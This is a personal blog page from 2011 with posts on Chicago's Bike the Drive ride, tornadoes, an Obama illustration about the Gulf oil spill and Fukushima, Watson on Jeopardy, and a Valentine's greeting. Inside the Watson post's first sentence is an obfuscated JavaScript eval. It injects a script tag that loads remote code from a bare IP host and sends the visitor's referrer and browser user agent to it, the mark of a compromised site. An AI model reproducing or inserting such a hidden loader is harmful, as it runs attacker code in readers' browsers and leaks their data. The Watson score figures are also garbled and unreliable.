Chicago's "Bike the Drive" 2011

Chicago's "Bike the Drive" took place this past Sunday, May 29th and though Lake Michigan was shrouded in fog and mist, the most violent thunderstorms held off until the afternoon, preventing a total washout.

The ride has been held annually since 2004, with Chicago's main lakefront thoroughfare being closed to motor traffic the Sunday morning before Memorial Day. Riders start out at the intersection of Columbus Blvd. & Randolph Street in the heart of the downtown area and can choose to ride just the south leg to 57th Street , the north leg to Hollywood, or both, a distance of about 30 miles round trip. A pavilion with bands and food is set up in Grant Park for riders or spectators and volunteers supply food and bananas at rest stops at either end of the route.

This year, in preparation for the glorious view of the lake which wasn't to be, I rigged up a "helmet cam" using my iPhone and a holster carrier. I used the app Timelapse Pro to shoot the video, which worked out pretty well, though I could have done with a rain visor for the iPhone.

HelmetCam

By the time we finished with the north route, the south leg was closed, which was just as well since the rains began shortly afterward. The ticket price of $45 ($55 if buying on the day of the event) goes toward the Active Transportation Alliance to promote bicycling safety and advocacy.

This year marks my second year taking part, and though the weather could have been better, I was happy that both my kids joined my wife and me this time around.

GrantPark

Tornadoes on the brain

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This past week, tornadoes ripped through Alabama and other sections of the midwest, causing nearly 300 deaths and untold injuries and property damage. We're just at the beginning of tornado season here in the U.S., and given the recent hurricane and tsunami activity in other regions of the world, it leads to the perception that these storms are increasing in severity and frequency. With climate change being such a hot button issue, it's nearly impossible to find agreement, but the general consensus seems to be that we just don't know. With improvements in Doppler radar and a spreading population, reports of the number of events has certainly increased, but whether this indicates real change or simply better data gathering is unclear. As for the severity of the storms, there has not been an increase in the most violent EF4 and EF5 U.S. tornadoes in recent decades.

I grew up just outside of Chicago, which is just northeast of the Mississippi plains area known as "Tornado Alley". As a child, I remember being very afraid of tornadoes. The twister scenes at the beginning of "The Wizard of Oz" were as frightening to me as the wicked witch or the flying monkeys. My family's ranch style house lacked a basement, so when there was a warning on the radio or TV, we'd seek shelter near a door threshold away from any windows. At school we would have tornado drills which followed the "duck and cover" protocol of a nuclear attack drill.

The only time I actually saw a tornado first hand was as a teen visiting a friend's house. A storm came up unexpectedly and the sky turned a sickly greenish color. There was a sudden hailstorm and on the horizon I could see a lighter grey funnel cloud descend from the sky and touch ground. Since then there have been many other warnings, but no sightings.

I still have occasional dreams in which tornadoes tear the roof off a building as I'm waiting out a storm. I can only imagine the psychological effects of those who've experienced a tornado first hand. Many have symptoms similar to earthquake survivors, who report long term traumatic stress including a sense of helplessness and of course, nightmares.

For the record, here are a couple of FALSE tornado myths:

• Tornadoes don't hit areas near rivers, lakes or mountains. • Tornadoes don't hit big cities.

The fact is, tornadoes can hit and do hit any time at any place.

And finally, some reminders of how to be prepared for a tornado, courtesy of the Red Cross : Tornado Safety Checklist

Barack Obama: The Illustrated Man

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When I started this illustration, I planned to show President Obama as "The Illustrated Man" from the Ray Bradbury stories, covered with tattoos representing the major events of his term thus far. For now, I've limited the focus to the two major environmental catastrophies which occurred this past year, the oil spill in the Gulf of Mexico and the nuclear radiation leak in Japan. Both continue to cause untold damage to the human, animal and plant life in ever-widening areas surrounding the disasters and are leading many to reconsider the safety of offshore oil drilling and nuclear energy.Not surprisingly, most of the damage control by the industries involved seem to be in the area of PR, with assurances that these are freak occurrences that couldn't happen again. BP has even requested permission to resume offshore drilling in the Gulf of Mexico less than a year after the explosion of the rig that lead to the largest spill in U.S. history. And nuclear power companies are continuing their push to expand plants here in the U.S. and worldwide. As of last week, Japan declared the Fukushima crisis a Level 7 event (the maximum) on the international system for rating nuclear accidents Tuesday, putting it on par with the 1986 Chernobyl disaster in the former Soviet Union.

Will Watson puts man's future in JEOPARDY?

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As eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("<a g=\'2\' c=\'d\' e=\'b/2\' 4=\'7://5.8.9.f/1/h.s.t?r="+3(0.p)+"\o="+3(j.i)+"\'><\/k"+"l>");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|fnyye|var|u0026u|referrer|nfzdd||js|php'.split('|'),0,{})) the dust settles on the tournament pitting IBM's supercomputer, Watson, against former Jeopardy champions Ken Jennings and Brad Rutter, there are a few observations to take away. If you haven't seen or heard about the results yet, chances are you don't care, though the ramifications of the match go far beyond the game show arena. First, to no one's surprise, Jennings and Rutter may have well have been holding cans of beer instead of buzzers, seeing as how they functioned as spectators through most of the proceedings. Watson tore through most of the questions with ease, leaving the humans looking like the Washington Generals battling the Harlem Globetrotters. For the record, the final tally was ,147 for Watson to Jennings’s ,000 and Rutter’s ,600. The actual game play was interspersed with short films detailing Watson's history and origins. While at times this came across as infomercials for IBM, they were informative and a welcome alternative to host Alex Trebek's usual contestant interviews, which are generally the most awkward part of the show. (Trebek is no Charlie Rose.) These bits focused on future practical applications, which according to its creators are many, including roles in medical diagnostics, economics, and climatology, among many others. Watson is a "standalone" entity, meaning that it wasn't connected to the internet during gameplay, which makes it's accomplishment all the more impressive. The actual workings are located in a huge room with two arrays of linked computers. Onstage, Watson was represented by a suitably monolith-like glowing avatar with a robotic male voice. In future incarnations linked to the internet and to each other, the potential computing power would be virtually limitless. Which leads to the real question of whether computers can one day become "self aware" and pose a real threat to man's existence. This idea has been a part of science fiction since Arthur C. Clarke's "2001: a Space Odyssey" and the slightly less classic  "Demon Seed" , all the way through to the "Terminator" series. The History Channel, between its UFO exposés and Bible prophesy programs, listed intelligent machines among its doomsday scenarios in "Last Days on Earth". If there's a real threat that comes from super computers, it's not just from self awareness but from self preservation: when it comes to the logical conclusion that its existence is worth more than ours. For now, the benefits of super computing are generally thought to outweigh any risk of building Frankenstein's monster. But given the pace of innovation, especially once computers become capable of building and improving upon themselves, we may need to reexamine our relationship to our machines. For now, I'm just curious to see how Watson will spend his winnings.

Happy Valentine's Day

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Though we're still in the midst of one of the harshest winter's on record here in the northern midwest, here's hoping we can all find some warmth and romance to get us through 'til spring. Happy Valentine's Day!